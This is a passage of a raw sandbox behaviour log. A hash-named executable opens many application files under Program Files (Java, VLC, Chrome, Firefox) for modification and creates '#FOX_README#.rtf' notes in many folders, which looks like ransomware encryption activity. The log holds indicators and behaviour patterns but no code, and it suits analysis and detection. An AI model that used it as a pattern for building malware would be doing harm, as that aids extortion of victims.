f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\telnet.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ta.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-applemenu.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\setup.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ru.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_browse.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\high-contrast.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\ffjcext.zip f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\server\Xusage.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\org-openide-modules.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-nodes.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\README.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\Accessible.tlb f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\it.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\sunpkcs11.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\orb.idl f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-explorer.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-io_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\notification_plugin.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\THIRDPARTYLICENSEREADME-JAVAFX.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\sRGB.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jvm.hprof.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-api-caching_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\jmxremote.access f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-modules-queries.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host-views.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\nb.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_ko.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_hu.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring-impl.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\PingBackup.3gp f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423496939244.profile.gz f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\uninstall\helper.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sa.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-execution.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mac.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.http_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\jp2launcher.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\plugins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\stopNetworkServer.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fontconfig.properties.src f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\error_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-execution.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\jhall-2.0_05.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\gimap.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.configuration_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\chrome.exe.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbynet.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_zh_CN.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-sendopts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-attach.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\AUTHORS.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-tools.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-cli.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jstack.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.service.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\dt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.databinding_1.6.200.v20140528-1422.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\stopNetworkServer f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\etc\visualvm.clusters f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\calendars.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaBrightItalic.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\jvm.lib f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javapackager.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_ko.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.preferences_3.5.200.v20140224-1527.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\simplexml.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\sr.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_de.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\invalid32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\access-bridge-64.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 